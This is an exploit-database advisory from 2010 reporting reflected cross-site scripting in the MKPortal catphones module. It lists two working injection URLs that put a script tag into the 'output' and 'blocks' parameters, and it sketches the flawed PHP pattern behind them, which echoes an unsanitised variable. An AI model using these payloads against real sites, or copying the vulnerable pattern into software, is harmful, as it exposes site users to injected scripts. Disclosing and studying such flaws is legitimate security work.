MKPortal Catphones Cross Site Scripting

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=======================================  
MKPortal catphones module Vulnerability  
=======================================  
  
  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0   
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 0  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1  
  
#[+] Discovered By : Inj3ct0r  
#[+] Site : Inj3ct0r.com  
#[+] support e-mail : submit[at]inj3ct0r.com  
  
  
Exploit:   
  
/catphones/index.php?output=%3Cscript%3Ealert(1)%3C/script%3E  
/catphones/index.php?blocks=%3Cscript%3Ealert(1)%3C/script%3E  
  
  
In general, the vulnerability exists because of stupidity.   
the code is a variable that is formed during the execution of the script and she gradually  
appropriated the additional data. In the vulnerable code modules approximately as follows:  
  
<?   
//code   
if (/*some*/) {   
//some code   
vuln_var .= 'some content';   
} else {   
//some code   
vuln_var .= 'some content';   
}   
//some code   
echo $vuln_var;   
//some code   
?>  
  
  
  
This XSS extended to 90% of the modules for MKPortal from rusmkportal.ru =]  
  
  
# Inj3ct0r.com [2010-05-25]  
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